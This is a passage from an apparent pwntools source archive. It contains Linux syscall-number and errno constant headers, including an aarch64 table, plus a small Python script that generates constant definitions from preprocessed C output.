__NR_osf_audcntl #define SYS_osf_audgen __NR_osf_audgen #define SYS_osf_chflags __NR_osf_chflags #define SYS_osf_execve __NR_osf_execve #define SYS_osf_exportfs __NR_osf_exportfs #define SYS_osf_fchflags __NR_osf_fchflags #define SYS_osf_fdatasync __NR_osf_fdatasync #define SYS_osf_fpathconf __NR_osf_fpathconf #define SYS_osf_fstatfs __NR_osf_fstatfs #define SYS_osf_fuser __NR_osf_fuser #define SYS_osf_getaddressconf __NR_osf_getaddressconf #define SYS_osf_getdirentries __NR_osf_getdirentries #define SYS_osf_getdomainname __NR_osf_getdomainname #define SYS_osf_getfh __NR_osf_getfh #define SYS_osf_getfsstat __NR_osf_getfsstat #define SYS_osf_gethostid __NR_osf_gethostid #define SYS_osf_getitimer __NR_osf_getitimer #define SYS_osf_getlogin __NR_osf_getlogin #define SYS_osf_getmnt __NR_osf_getmnt #define SYS_osf_getrusage __NR_osf_getrusage #define SYS_osf_getsysinfo __NR_osf_getsysinfo #define SYS_osf_gettimeofday __NR_osf_gettimeofday #define SYS_osf_kloadcall __NR_osf_kloadcall #define SYS_osf_kmodcall __NR_osf_kmodcall #define SYS_osf_memcntl __NR_osf_memcntl #define SYS_osf_mincore __NR_osf_mincore #define SYS_osf_mount __NR_osf_mount #define SYS_osf_mremap __NR_osf_mremap #define SYS_osf_msfs_syscall __NR_osf_msfs_syscall #define SYS_osf_msleep __NR_osf_msleep #define SYS_osf_mvalid __NR_osf_mvalid #define SYS_osf_mwakeup __NR_osf_mwakeup #define SYS_osf_naccept __NR_osf_naccept #define SYS_osf_nfssvc __NR_osf_nfssvc #define SYS_osf_ngetpeername __NR_osf_ngetpeername #define SYS_osf_ngetsockname __NR_osf_ngetsockname #define SYS_osf_nrecvfrom __NR_osf_nrecvfrom #define SYS_osf_nrecvmsg __NR_osf_nrecvmsg #define SYS_osf_nsendmsg __NR_osf_nsendmsg #define SYS_osf_ntp_adjtime __NR_osf_ntp_adjtime #define SYS_osf_ntp_gettime __NR_osf_ntp_gettime #define SYS_osf_old_creat __NR_osf_old_creat #define SYS_osf_old_fstat __NR_osf_old_fstat #define SYS_osf_old_getpgrp __NR_osf_old_getpgrp #define SYS_osf_old_killpg __NR_osf_old_killpg #define SYS_osf_old_lstat __NR_osf_old_lstat #define SYS_osf_old_open __NR_osf_old_open #define SYS_osf_oldquota __NR_osf_oldquota #define SYS_osf_old_sigaction __NR_osf_old_sigaction #define SYS_osf_old_sigblock __NR_osf_old_sigblock #define SYS_osf_old_sigreturn __NR_osf_old_sigreturn #define SYS_osf_old_sigsetmask __NR_osf_old_sigsetmask #define SYS_osf_old_sigvec __NR_osf_old_sigvec #define SYS_osf_old_stat __NR_osf_old_stat #define SYS_osf_old_vadvise __NR_osf_old_vadvise #define SYS_osf_old_vtrace __NR_osf_old_vtrace #define SYS_osf_old_wait __NR_osf_old_wait #define SYS_osf_pathconf __NR_osf_pathconf #define SYS_osf_pid_block __NR_osf_pid_block #define SYS_osf_pid_unblock __NR_osf_pid_unblock #define SYS_osf_plock __NR_osf_plock #define SYS_osf_priocntlset __NR_osf_priocntlset #define SYS_osf_profil __NR_osf_profil #define SYS_osf_proplist_syscall __NR_osf_proplist_syscall #define SYS_osf_reboot __NR_osf_reboot #define SYS_osf_revoke __NR_osf_revoke #define SYS_osf_sbrk __NR_osf_sbrk #define SYS_osf_security __NR_osf_security #define SYS_osf_select __NR_osf_select #define SYS_osf_sethostid __NR_osf_sethostid #define SYS_osf_setitimer __NR_osf_setitimer #define SYS_osf_setlogin __NR_osf_setlogin #define SYS_osf_set_program_attributes __NR_osf_set_program_attributes #define SYS_osf_set_speculative __NR_osf_set_speculative #define SYS_osf_setsysinfo __NR_osf_setsysinfo #define SYS_osf_settimeofday __NR_osf_settimeofday #define SYS_osf_shmat __NR_osf_shmat #define SYS_osf_signal __NR_osf_signal #define SYS_osf_sigprocmask __NR_osf_sigprocmask #define SYS_osf_sigsendset __NR_osf_sigsendset #define SYS_osf_sigstack __NR_osf_sigstack #define SYS_osf_sigwaitprim __NR_osf_sigwaitprim #define SYS_osf_sstk __NR_osf_sstk #define SYS_osf_statfs __NR_osf_statfs #define SYS_osf_subsys_info __NR_osf_subsys_info #define SYS_osf_swapctl __NR_osf_swapctl #define SYS_osf_swapon __NR_osf_swapon #define SYS_osf_syscall __NR_osf_syscall #define SYS_osf_sysinfo __NR_osf_sysinfo #define SYS_osf_table __NR_osf_table #define SYS_osf_uadmin __NR_osf_uadmin #define SYS_osf_usleep_thread __NR_osf_usleep_thread #define SYS_osf_uswitch __NR_osf_uswitch #define SYS_osf_utc_adjtime __NR_osf_utc_adjtime #define SYS_osf_utc_gettime __NR_osf_utc_gettime #define SYS_osf_utimes __NR_osf_utimes #define SYS_osf_utsname __NR_osf_utsname #define SYS_osf_wait4 __NR_osf_wait4 #define SYS_osf_waitid __NR_osf_waitid #define SYS_pause __NR_pause #define SYS_pciconfig_iobase __NR_pciconfig_iobase #define SYS_pciconfig_read __NR_pciconfig_read #define SYS_pciconfig_write __NR_pciconfig_write #define SYS_perfctr __NR_perfctr #define SYS_perf_event_open __NR_perf_event_open #define SYS_perfmonctl __NR_perfmonctl #define SYS_personality __NR_personality #define SYS_pidfd_getfd __NR_pidfd_getfd #define SYS_pidfd_open __NR_pidfd_open #define SYS_pidfd_send_signal __NR_pidfd_send_signal #define SYS_pipe __NR_pipe #define SYS_pipe2 __NR_pipe2 #define SYS_pivot_root __NR_pivot_root #define SYS_pkey_alloc __NR_pkey_alloc #define SYS_pkey_free __NR_pkey_free #define SYS_pkey_mprotect __NR_pkey_mprotect #define SYS_poll __NR_poll #define SYS_ppoll __NR_ppoll #define SYS_ppoll_time64 __NR_ppoll_time64 #define SYS_prctl __NR_prctl #define SYS_pread __NR_pread #define SYS_pread64 __NR_pread64 #define SYS_preadv __NR_preadv #define SYS_preadv2 __NR_preadv2 #define SYS_prlimit64 __NR_prlimit64 #define SYS_process_madvise __NR_process_madvise #define SYS_process_vm_readv __NR_process_vm_readv #define SYS_process_vm_writev __NR_process_vm_writev #define SYS_prof __NR_prof #define SYS_profil __NR_profil #define SYS_pselect6 __NR_pselect6 #define SYS_pselect6_time64 __NR_pselect6_time64 #define SYS_ptrace __NR_ptrace #define SYS_putmsg __NR_putmsg #define SYS_putpmsg __NR_putpmsg #define SYS_pwrite __NR_pwrite #define SYS_pwrite64 __NR_pwrite64 #define SYS_pwritev __NR_pwritev #define SYS_pwritev2 __NR_pwritev2 #define SYS_query_module __NR_query_module #define SYS_quotactl __NR_quotactl #define SYS_read __NR_read #define SYS_readahead __NR_readahead #define SYS_readdir __NR_readdir #define SYS_readlink __NR_readlink #define SYS_readlinkat __NR_readlinkat #define SYS_readv __NR_readv #define SYS_reboot __NR_reboot #define SYS_recv __NR_recv #define SYS_recvfrom __NR_recvfrom #define SYS_recvmmsg __NR_recvmmsg #define SYS_recvmmsg_time64 __NR_recvmmsg_time64 #define SYS_recvmsg __NR_recvmsg #define SYS_remap_file_pages __NR_remap_file_pages #define SYS_removexattr __NR_removexattr #define SYS_rename __NR_rename #define SYS_renameat __NR_renameat #define SYS_renameat2 __NR_renameat2 #define SYS_request_key __NR_request_key #define SYS_reserved177 __NR_reserved177 #define SYS_reserved193 __NR_reserved193 #define SYS_reserved221 __NR_reserved221 #define SYS_reserved82 __NR_reserved82 #define SYS_restart_syscall __NR_restart_syscall #define SYS_riscv_flush_icache __NR_riscv_flush_icache #define SYS_rmdir __NR_rmdir #define SYS_rseq __NR_rseq #define SYS_rtas __NR_rtas #define SYS_rt_sigaction __NR_rt_sigaction #define SYS_rt_sigpending __NR_rt_sigpending #define SYS_rt_sigprocmask __NR_rt_sigprocmask #define SYS_rt_sigqueueinfo __NR_rt_sigqueueinfo #define SYS_rt_sigreturn __NR_rt_sigreturn #define SYS_rt_sigsuspend __NR_rt_sigsuspend #define SYS_rt_sigtimedwait __NR_rt_sigtimedwait #define SYS_rt_sigtimedwait_time64 __NR_rt_sigtimedwait_time64 #define SYS_rt_tgsigqueueinfo __NR_rt_tgsigqueueinfo #define SYS_s390_guarded_storage __NR_s390_guarded_storage #define SYS_s390_pci_mmio_read __NR_s390_pci_mmio_read #define SYS_s390_pci_mmio_write __NR_s390_pci_mmio_write #define SYS_s390_runtime_instr __NR_s390_runtime_instr #define SYS_s390_sthyi __NR_s390_sthyi #define SYS_sched_getaffinity __NR_sched_getaffinity #define SYS_sched_getattr __NR_sched_getattr #define SYS_sched_getparam __NR_sched_getparam #define SYS_sched_get_priority_max __NR_sched_get_priority_max #define SYS_sched_get_priority_min __NR_sched_get_priority_min #define SYS_sched_getscheduler __NR_sched_getscheduler #define SYS_sched_rr_get_interval __NR_sched_rr_get_interval #define SYS_sched_rr_get_interval_time64 __NR_sched_rr_get_interval_time64 #define SYS_sched_setaffinity __NR_sched_setaffinity #define SYS_sched_setattr __NR_sched_setattr #define SYS_sched_setparam __NR_sched_setparam #define SYS_sched_setscheduler __NR_sched_setscheduler #define SYS_sched_yield __NR_sched_yield #define SYS_seccomp __NR_seccomp #define SYS_security __NR_security #define SYS_select __NR_select #define SYS_semctl __NR_semctl #define SYS_semget __NR_semget #define SYS_semop __NR_semop #define SYS_semtimedop __NR_semtimedop #define SYS_semtimedop_time64 __NR_semtimedop_time64 #define SYS_send __NR_send #define SYS_sendfile __NR_sendfile #define SYS_sendfile64 __NR_sendfile64 #define SYS_sendmmsg __NR_sendmmsg #define SYS_sendmsg __NR_sendmsg #define SYS_sendto __NR_sendto #define SYS_setdomainname __NR_setdomainname #define SYS_setfsgid __NR_setfsgid #define SYS_setfsgid32 __NR_setfsgid32 #define SYS_setfsuid __NR_setfsuid #define SYS_setfsuid32 __NR_setfsuid32 #define SYS_setgid __NR_setgid #define SYS_setgid32 __NR_setgid32 #define SYS_setgroups __NR_setgroups #define SYS_setgroups32 __NR_setgroups32 #define SYS_sethae __NR_sethae #define SYS_sethostname __NR_sethostname #define SYS_setitimer __NR_setitimer #define SYS_set_mempolicy __NR_set_mempolicy #define SYS_setns __NR_setns #define SYS_setpgid __NR_setpgid #define SYS_setpgrp __NR_setpgrp #define SYS_setpriority __NR_setpriority #define SYS_setregid __NR_setregid #define SYS_setregid32 __NR_setregid32 #define SYS_setresgid __NR_setresgid #define SYS_setresgid32 __NR_setresgid32 #define SYS_setresuid __NR_setresuid #define SYS_setresuid32 __NR_setresuid32 #define SYS_setreuid __NR_setreuid #define SYS_setreuid32 __NR_setreuid32 #define SYS_setrlimit __NR_setrlimit #define SYS_set_robust_list __NR_set_robust_list #define SYS_setsid __NR_setsid #define SYS_setsockopt __NR_setsockopt #define SYS_set_thread_area __NR_set_thread_area #define SYS_set_tid_address __NR_set_tid_address #define SYS_settimeofday __NR_settimeofday #define SYS_setuid __NR_setuid #define SYS_setuid32 __NR_setuid32 #define SYS_setxattr __NR_setxattr #define SYS_set_zone_reclaim __NR_set_zone_reclaim #define SYS_sgetmask __NR_sgetmask #define SYS_shmat __NR_shmat #define SYS_shmctl __NR_shmctl #define SYS_shmdt __NR_shmdt #define SYS_shmget __NR_shmget #define SYS_shutdown __NR_shutdown #define SYS_sigaction __NR_sigaction #define SYS_sigaltstack __NR_sigaltstack #define SYS_signal __NR_signal #define SYS_signalfd __NR_signalfd #define SYS_signalfd4 __NR_signalfd4 #define SYS_sigpending __NR_sigpending #define SYS_sigprocmask __NR_sigprocmask #define SYS_sigreturn __NR_sigreturn #define SYS_sigsuspend __NR_sigsuspend #define SYS_socket __NR_socket #define SYS_socketcall __NR_socketcall #define SYS_socketpair __NR_socketpair #define SYS_splice __NR_splice #define SYS_spu_create __NR_spu_create #define SYS_spu_run __NR_spu_run #define SYS_ssetmask __NR_ssetmask #define SYS_stat __NR_stat #define SYS_stat64 __NR_stat64 #define SYS_statfs __NR_statfs #define SYS_statfs64 __NR_statfs64 #define SYS_statx __NR_statx #define SYS_stime __NR_stime #define SYS_stty __NR_stty #define SYS_subpage_prot __NR_subpage_prot #define SYS_swapcontext __NR_swapcontext #define SYS_swapoff __NR_swapoff #define SYS_swapon __NR_swapon #define SYS_switch_endian __NR_switch_endian #define SYS_symlink __NR_symlink #define SYS_symlinkat __NR_symlinkat #define SYS_sync __NR_sync #define SYS_sync_file_range __NR_sync_file_range #define SYS_sync_file_range2 __NR_sync_file_range2 #define SYS_syncfs __NR_syncfs #define SYS_syscall __NR_syscall #define SYS_SYSCALL_BASE __NR_SYSCALL_BASE #define SYS__sysctl __NR__sysctl #define SYS_sys_debug_setcontext __NR_sys_debug_setcontext #define SYS_sys_epoll_create __NR_sys_epoll_create #define SYS_sys_epoll_ctl __NR_sys_epoll_ctl #define SYS_sys_epoll_wait __NR_sys_epoll_wait #define SYS_sysfs __NR_sysfs #define SYS_sysinfo __NR_sysinfo #define SYS_sys_kexec_load __NR_sys_kexec_load #define SYS_syslog __NR_syslog #define SYS_sysmips __NR_sysmips #define SYS_sysriscv __NR_sysriscv #define SYS_sys_setaltroot __NR_sys_setaltroot #define SYS_tee __NR_tee #define SYS_tgkill __NR_tgkill #define SYS_time __NR_time #define SYS_timer_create __NR_timer_create #define SYS_timer_delete __NR_timer_delete #define SYS_timerfd __NR_timerfd #define SYS_timerfd_create __NR_timerfd_create #define SYS_timerfd_gettime __NR_timerfd_gettime #define SYS_timerfd_gettime64 __NR_timerfd_gettime64 #define SYS_timerfd_settime __NR_timerfd_settime #define SYS_timerfd_settime64 __NR_timerfd_settime64 #define SYS_timer_getoverrun __NR_timer_getoverrun #define SYS_timer_gettime __NR_timer_gettime #define SYS_timer_gettime64 __NR_timer_gettime64 #define SYS_timer_settime __NR_timer_settime #define SYS_timer_settime64 __NR_timer_settime64 #define SYS_times __NR_times #define SYS_tkill __NR_tkill #define SYS_truncate __NR_truncate #define SYS_truncate64 __NR_truncate64 #define SYS_tuxcall __NR_tuxcall #define SYS_ugetrlimit __NR_ugetrlimit #define SYS_ulimit __NR_ulimit #define SYS_umask __NR_umask #define SYS_umount __NR_umount #define SYS_umount2 __NR_umount2 #define SYS_umount_with_flags __NR_umount_with_flags #define SYS_umount_without_flags __NR_umount_without_flags #define SYS_uname __NR_uname #define SYS_unlink __NR_unlink #define SYS_unlinkat __NR_unlinkat #define SYS_unshare __NR_unshare #define SYS_unused109 __NR_unused109 #define SYS_unused150 __NR_unused150 #define SYS_unused18 __NR_unused18 #define SYS_unused28 __NR_unused28 #define SYS_unused59 __NR_unused59 #define SYS_unused84 __NR_unused84 #define SYS_uselib __NR_uselib #define SYS_userfaultfd __NR_userfaultfd #define SYS_ustat __NR_ustat #define SYS_utime __NR_utime #define SYS_utimensat __NR_utimensat #define SYS_utimensat_time64 __NR_utimensat_time64 #define SYS_utimes __NR_utimes #define SYS_utrap_install __NR_utrap_install #define SYS_vfork __NR_vfork #define SYS_vhangup __NR_vhangup #define SYS_vm86 __NR_vm86 #define SYS_vm86old __NR_vm86old #define SYS_vmsplice __NR_vmsplice #define SYS_vserver __NR_vserver #define SYS_wait4 __NR_wait4 #define SYS_waitid __NR_waitid #define SYS_waitpid __NR_waitpid #define SYS_write __NR_write #define SYS_writev __NR_writev Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/thumb.h000066400000000000000000000001201507273764500266220ustar00rootroot00000000000000#define __arm__ #define __thumb__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/load_constants.py000077500000000000000000000023641507273764500275770ustar00rootroot00000000000000#!/usr/bin/env python from __future__ import print_function import re import sys from pwnlib.util import safeeval python = open(sys.argv[1], "w") header = open(sys.argv[2], "w") print('from pwnlib.constants.constant import Constant', file=python) data = sys.stdin.read().strip().split('\n') res = "" regex = re.compile('^%constant ([^=]+) = ([^";]+);') for l in data: m = regex.match(l) if not m: continue if '"' in l or '=' not in l or ';' not in l or not l.startswith('%constant '): continue key = m.group(1) val = m.group(2) # Handle weird special cases from C syntax paren = False if val[:1] == '(' and val[-1:] == ')' and ')' not in val[1:-1]: val = val[1:-1] paren = True val = val.rstrip('UuLl') val = val.replace('7ll', '7') if re.match(r'^0[0-9]', val): val = '0o'+val[1:] val = re.sub(r'([|^&( ]0)([0-7])', r'\1o\2', val) if paren: val = '(%s)' % val print("{key} = Constant({key!r},{val})".format(**locals()), file=python) if re.search(r'0o[0-7]', val) or re.match(r'[^0-9a-fA-Fx]0[0-9]', val): print("#define %s %s" % (key, hex(safeeval.expr(val))), file=header) else: print("#define %s %s" % (key, val), file=header) Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/000077500000000000000000000000001507273764500233535ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/aarch64.h000066400000000000000000001043361507273764500247630ustar00rootroot00000000000000#define _AARCH64_SYSCALL_H 1 #define __NR_io_setup 0 #define __NR_io_destroy 1 #define __NR_io_submit 2 #define __NR_io_cancel 3 #define __NR_io_getevents 4 #define __NR_setxattr 5 #define __NR_lsetxattr 6 #define __NR_fsetxattr 7 #define __NR_getxattr 8 #define __NR_lgetxattr 9 #define __NR_fgetxattr 10 #define __NR_listxattr 11 #define __NR_llistxattr 12 #define __NR_flistxattr 13 #define __NR_removexattr 14 #define __NR_lremovexattr 15 #define __NR_fremovexattr 16 #define __NR_getcwd 17 #define __NR_lookup_dcookie 18 #define __NR_eventfd2 19 #define __NR_epoll_create1 20 #define __NR_epoll_ctl 21 #define __NR_epoll_pwait 22 #define __NR_dup 23 #define __NR_dup3 24 #define __NR_fcntl 25 #define __NR_inotify_init1 26 #define __NR_inotify_add_watch 27 #define __NR_inotify_rm_watch 28 #define __NR_ioctl 29 #define __NR_ioprio_set 30 #define __NR_ioprio_get 31 #define __NR_flock 32 #define __NR_mknodat 33 #define __NR_mkdirat 34 #define __NR_unlinkat 35 #define __NR_symlinkat 36 #define __NR_linkat 37 #define __NR_renameat 38 #define __NR_umount2 39 #define __NR_mount 40 #define __NR_pivot_root 41 #define __NR_nfsservctl 42 #define __NR_statfs 43 #define __NR_fstatfs 44 #define __NR_truncate 45 #define __NR_ftruncate 46 #define __NR_fallocate 47 #define __NR_faccessat 48 #define __NR_chdir 49 #define __NR_fchdir 50 #define __NR_chroot 51 #define __NR_fchmod 52 #define __NR_fchmodat 53 #define __NR_fchownat 54 #define __NR_fchown 55 #define __NR_openat 56 #define __NR_close 57 #define __NR_vhangup 58 #define __NR_pipe2 59 #define __NR_quotactl 60 #define __NR_getdents64 61 #define __NR_lseek 62 #define __NR_read 63 #define __NR_write 64 #define __NR_readv 65 #define __NR_writev 66 #define __NR_pread64 67 #define __NR_pwrite64 68 #define __NR_preadv 69 #define __NR_pwritev 70 #define __NR_sendfile 71 #define __NR_pselect6 72 #define __NR_ppoll 73 #define __NR_signalfd4 74 #define __NR_vmsplice 75 #define __NR_splice 76 #define __NR_tee 77 #define __NR_readlinkat 78 #define __NR_fstatat 79 #define __NR_newfstatat 79 #define __NR_fstat 80 #define __NR_sync 81 #define __NR_fsync 82 #define __NR_fdatasync 83 #define __NR_sync_file_range 84 #define __NR_timerfd_create 85 #define __NR_timerfd_settime 86 #define __NR_timerfd_gettime 87 #define __NR_utimensat 88 #define __NR_acct 89 #define __NR_capget 90 #define __NR_capset 91 #define __NR_personality 92 #define __NR_exit 93 #define __NR_exit_group 94 #define __NR_waitid 95 #define __NR_set_tid_address 96 #define __NR_unshare 97 #define __NR_futex 98 #define __NR_set_robust_list 99 #define __NR_get_robust_list 100 #define __NR_nanosleep 101 #define __NR_getitimer 102 #define __NR_setitimer 103 #define __NR_kexec_load 104 #define __NR_init_module 105 #define __NR_delete_module 106 #define __NR_timer_create 107 #define __NR_timer_gettime 108 #define __NR_timer_getoverrun 109 #define __NR_timer_settime 110 #define __NR_timer_delete 111 #define __NR_clock_settime 112 #define __NR_clock_gettime 113 #define __NR_clock_getres 114 #define __NR_clock_nanosleep 115 #define __NR_syslog 116 #define __NR_ptrace 117 #define __NR_sched_setparam 118 #define __NR_sched_setscheduler 119 #define __NR_sched_getscheduler 120 #define __NR_sched_getparam 121 #define __NR_sched_setaffinity 122 #define __NR_sched_getaffinity 123 #define __NR_sched_yield 124 #define __NR_sched_get_priority_max 125 #define __NR_sched_get_priority_min 126 #define __NR_sched_rr_get_interval 127 #define __NR_restart_syscall 128 #define __NR_kill 129 #define __NR_tkill 130 #define __NR_tgkill 131 #define __NR_sigaltstack 132 #define __NR_rt_sigsuspend 133 #define __NR_rt_sigaction 134 #define __NR_rt_sigprocmask 135 #define __NR_rt_sigpending 136 #define __NR_rt_sigtimedwait 137 #define __NR_rt_sigqueueinfo 138 #define __NR_rt_sigreturn 139 #define __NR_setpriority 140 #define __NR_getpriority 141 #define __NR_reboot 142 #define __NR_setregid 143 #define __NR_setgid 144 #define __NR_setreuid 145 #define __NR_setuid 146 #define __NR_setresuid 147 #define __NR_getresuid 148 #define __NR_setresgid 149 #define __NR_getresgid 150 #define __NR_setfsuid 151 #define __NR_setfsgid 152 #define __NR_times 153 #define __NR_setpgid 154 #define __NR_getpgid 155 #define __NR_getsid 156 #define __NR_setsid 157 #define __NR_getgroups 158 #define __NR_setgroups 159 #define __NR_uname 160 #define __NR_sethostname 161 #define __NR_setdomainname 162 #define __NR_getrlimit 163 #define __NR_setrlimit 164 #define __NR_getrusage 165 #define __NR_umask 166 #define __NR_prctl 167 #define __NR_getcpu 168 #define __NR_gettimeofday 169 #define __NR_settimeofday 170 #define __NR_adjtimex 171 #define __NR_getpid 172 #define __NR_getppid 173 #define __NR_getuid 174 #define __NR_geteuid 175 #define __NR_getgid 176 #define __NR_getegid 177 #define __NR_gettid 178 #define __NR_sysinfo 179 #define __NR_mq_open 180 #define __NR_mq_unlink 181 #define __NR_mq_timedsend 182 #define __NR_mq_timedreceive 183 #define __NR_mq_notify 184 #define __NR_mq_getsetattr 185 #define __NR_msgget 186 #define __NR_msgctl 187 #define __NR_msgrcv 188 #define __NR_msgsnd 189 #define __NR_semget 190 #define __NR_semctl 191 #define __NR_semtimedop 192 #define __NR_semop 193 #define __NR_shmget 194 #define __NR_shmctl 195 #define __NR_shmat 196 #define __NR_shmdt 197 #define __NR_socket 198 #define __NR_socketpair 199 #define __NR_bind 200 #define __NR_listen 201 #define __NR_accept 202 #define __NR_connect 203 #define __NR_getsockname 204 #define __NR_getpeername 205 #define __NR_sendto 206 #define __NR_recvfrom 207 #define __NR_setsockopt 208 #define __NR_getsockopt 209 #define __NR_shutdown 210 #define __NR_sendmsg 211 #define __NR_recvmsg 212 #define __NR_readahead 213 #define __NR_brk 214 #define __NR_munmap 215 #define __NR_mremap 216 #define __NR_add_key 217 #define __NR_request_key 218 #define __NR_keyctl 219 #define __NR_clone 220 #define __NR_execve 221 #define __NR_mmap 222 #define __NR_fadvise64 223 #define __NR_swapon 224 #define __NR_swapoff 225 #define __NR_mprotect 226 #define __NR_msync 227 #define __NR_mlock 228 #define __NR_munlock 229 #define __NR_mlockall 230 #define __NR_munlockall 231 #define __NR_mincore 232 #define __NR_madvise 233 #define __NR_remap_file_pages 234 #define __NR_mbind 235 #define __NR_get_mempolicy 236 #define __NR_set_mempolicy 237 #define __NR_migrate_pages 238 #define __NR_move_pages 239 #define __NR_rt_tgsigqueueinfo 240 #define __NR_perf_event_open 241 #define __NR_accept4 242 #define __NR_recvmmsg 243 #define __NR_arch_specific_syscall 244 #define __NR_wait4 260 #define __NR_prlimit64 261 #define __NR_fanotify_init 262 #define __NR_fanotify_mark 263 #define __NR_name_to_handle_at 264 #define __NR_open_by_handle_at 265 #define __NR_clock_adjtime 266 #define __NR_syncfs 267 #define __NR_setns 268 #define __NR_sendmmsg 269 #define __NR_process_vm_readv 270 #define __NR_process_vm_writev 271 #define __NR_kcmp 272 #define __NR_finit_module 273 #define __NR_sched_setattr 274 #define __NR_sched_getattr 275 #define __NR_renameat2 276 #define __NR_seccomp 277 #define __NR_getrandom 278 #define __NR_memfd_create 279 #define __NR_bpf 280 #define __NR_execveat 281 #define __NR_userfaultfd 282 #define __NR_membarrier 283 #define __NR_mlock2 284 #define __NR_copy_file_range 285 #define __NR_preadv2 286 #define __NR_pwritev2 287 #define __NR_pkey_mprotect 288 #define __NR_pkey_alloc 289 #define __NR_pkey_free 290 #define __NR_statx 291 #define __NR_io_pgetevents 292 #define __NR_rseq 293 #define __NR_kexec_file_load 294 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 1234 #define __WORDSIZE 64 #define __WORDSIZE_COMPAT32 1 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (9223372036854775807)) #define INTPTR_MAX (9223372036854775807) #define UINTPTR_MAX 0xffffffffffffffff #define SIZE_MAX 0xffffffffffffffff #define PTRDIFF_MIN (-1 - (9223372036854775807)) #define PTRDIFF_MAX (9223372036854775807) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define 